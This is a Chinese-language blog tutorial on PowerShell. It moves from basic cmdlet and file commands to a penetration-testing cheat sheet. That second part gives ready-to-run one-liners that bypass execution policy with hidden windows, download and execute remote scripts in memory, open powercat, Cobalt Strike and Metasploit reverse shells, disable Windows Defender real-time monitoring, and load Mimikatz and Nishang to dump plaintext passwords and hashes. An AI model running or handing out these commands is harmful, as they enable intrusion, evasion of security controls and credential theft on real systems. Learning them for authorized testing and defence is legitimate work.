PowerShell渗透入门

概述

PowerShell是运行在Windows操作系统上实现对系统以及应用程序进行管理自动化的命令行脚本环境,PowerShell需要.NET环境的支持,借助.NET Framework平台强大的类库,几乎让一切都成为可能。PowerShell无需写到磁盘中,它可以直接在内存中运行。

各操作系统的PowerShell版本

操作系统 版本
Win7、Windows Server 2008 2.0
Win8、Windows Server2012 3.0
Win8.1、Windows Server2012 R2 4.0
Win10、Windows Server2016 5.0

一个PowerShell脚本就是一个简单的文本文件,test.ps1,这个文件包含系列命令,每个命令显示为独立的一行。

启动PowerShell

1)打开运行窗口(Windows徽标键+R) -> PowerShell -> 点击确定或者回车即可打开PowerShell窗口。
2)点击开始菜单->所有程序->Windows PowerShell->Windows PowerShell。
3)命题提示符(cmd)-> 输入PowerShell ->回车即可进入PowerShell窗口。

前两种直接启动PowerShell程序

第三种启动,在CMD窗口

简单使用

查看PowerShell版本号

两种方法
get-host
$PSVersionTable.PSVersion #Major对应的2是版本号

PowerShell推出了一个功能强大的命令叫做cmdlet,所有的cmdlet命令都遵循动词-名词这样语法结构。如Get-Command, Get-Process等,即使从来没有接触过PowerShell,也很容易能够明白命令的作用。如Get-Process命令的意思就是获取所有的进程。

PowerShell提供了Get-Command这个强大的命令,可以查找所有的cmdlet命令,让我们学习PowerShell无后顾之忧,使用PowerShell时也非常的方便。 命令非常多。当我们需要查找一个指定的命名时,使用Get-Command –Name “命令名称”即可。如 Get-Command –Name Get-Process。

Get-Command还支持模糊查询,如Get-Command –Name *Process(‘*’在PowerShell中代表通配符,可以匹配一个或者多个字符)就是查找所有以Process结尾的命令。

当我们获取到PowerShell命令之后,PowerShell提供的Get-Help命令可以查询PowerShell命令的作用,如Get-Help –Name Get-Process。

在PowerShell中,命令的返回值都是一个对象。如Get-Command, get-Help, Get-Process等。我们可以利用PowerShell为我们提供的Get-Member获取对象的属性,如Get-Process | Get-Member(下面输出的结果只显示了部分内容)。

PowerShell的常用命令

在PowerShell下,类似“cmd命令”叫做"cmdlet",文件操作type只有两种 directory 和 file 。在PowerShell下,命令的命名规范很一致,都采用了动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PoerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls 。

New-Item 新建目录/文件
Remove-Item 删除目录
Get-Content 显示文件内容
Set-Content 设置文件内容
Add-Content 追加内容
Clear-Content 清除内容

可以直接使用
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content  test.txt
设置文件test.txt内容t:Set-Content  test.txt  -Value "hello word!"
给文件test.txt追加内容:Add-Content test.txt  -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt

渗透测试中PowerShell浅析

常用的PowerShell攻击工具

powerSploit:
常用于信息探测,权限提升,凭证窃取,持久化等操作
Nishang:
基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种payload,包含下载和执行,键盘记录,DNS,延时命令等脚本
Empire:
基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
powercat:
PowerShell版的Netcat,有着网络工具中的瑞士军刀美誉,他能通过tcp和udp在网络中读写数据,通过它和其他工具结合和重定向,读者可以在脚本中以多种方式使用它。

PowerShell优点

  • windows7以上系统中默认安装
  • PowerShell脚本可以运行在内存中,不需要写入磁盘
  • 可以从另一个系统中下载PowerShell脚本并执行
  • 很多安全软件并不能检测到PowerShell的活动
  • cmd.exe通常会被阻止运行,但PowerShell不会
  • PowerShell可以用来管理活动目录

PowerShell执行策略

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

Restricted:脚本不能执行(默认设置)
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行
Unrestricted:允许所有的script运行

设置执行策略:(必须为管理员权限)

Set-ExecutionPolicy < policy name >


如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,如果没有管理员权限,就需要采用一些方法绕过策略来执行脚本。

#绕过本地权限执行,上传xxx.ps1至目标服务器,在cmd环境下,在目标服务器本地执行该脚本
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
powershell.exe -exec bypass -Command "& {Import-Module .\Powerview.ps1;Invoke-UserHunter}"

#本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1

#用IEX加载远程PS1脚本到内存,绕过权限执行
cmd环境
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object System.Net.Webclient).DownloadString("xxx.ps1")
PowerShell环境
IEX(New-Object System.Net.Webclient).DownloadString("xxx.ps1")

以上命令的参数说明:
ExecutionPolicy Bypass (-exec bypass): 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden : 隐藏窗口
NoLogo : 启动不显示版权标志的PowerShell
NonInteractive (-Nonl) : 非交互模式,PowerShell不为用户提供交互的提示
NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件
Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要
IEX : 将脚本加载到内存运行,不落地
enc base64 : 把脚本编码执行

实验已将策略改为Restricted

  • PowerShell.exe -ExecutionPolicy Bypass -File 1.ps1

  • PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File 1.ps1

    这个执行后会直接关掉,显示不出效果,实验可以成功运行。

  • PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object System.Net.Webclient).DownloadString("http://192.168.1.1/down.ps1")

    这个执行后会直接关掉,显示不出效果,用下面的方法,实验可以成功运行。

    CMD窗口执行

    PowerShell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/down.ps1')
    在PowerShell窗口执行
    IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/down.ps1')

  • PowerShell.exe IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.4 -p 8888 -e cmd 下载并反弹shell

PowerShell远程下载/执行文件命令

CMD窗口下载文件,下载到C盘需要管理员权限(PowerShell下未成功)

#下载文件到指定目录
PowerShell.exe (New-Object System.Net.Webclient).Downloadfile('http://192.168.1.1/test.exe','C:/test.exe')
 
#下载文件到当前目录
PowerShell.exe (New-Object System.Net.Webclient).Downloadfile('http://192.168.1.1/test.exe','test.exe')


执行只需要加上 start-process test.exe

PowerShell.exe (New-Object System.Net.Webclient).Downloadfile('http://192.168.1.1/test.exe','test.exe');start-process test.exe

渗透常用命令

#关闭windows自带的防火墙(管理员权限)
PowerShell.exe Set-MpPreference -disablerealtimeMonitoring $ture
#下载远程文件 可以指定目录
PowerShell.exe (New-Object System.Net.Webclient).Downloadfile('http://192.168.1.1/test.exe','test.exe')
#反弹NC shell
在cmd窗口执行
PowerShell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/powercat.ps1');powercat -c 192.168.1.4 -p 8888 -e cmd
在PowerShell窗口执行
IEX(New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/powercat.ps1');powercat -c 192.168.1.4 -p 8888 -e cmd


#反弹CobaltStrike Shell
在cmd窗口执行
PowerShell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/cs'))  
在PowerShell窗口执行
IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/cs'))

#反弹MSF Shell
在cmd窗口执行
PowerShell.exe -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/msf.ps1');msf.ps1
在PowerShell窗口执行
IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/msf.ps1');msf.ps1

#远程加载读取明文密码 需要管理员权限
在cmd窗口执行
PowerShell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
在PowerShell窗口执行
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

#远程加载读取密码Hash值 需要管理员权限
在cmd窗口执行
PowerShell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
在PowerShell窗口执行
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
posted @ 2021-12-13 18:28  九天揽月丶  阅读(540)  评论(0编辑  收藏  举报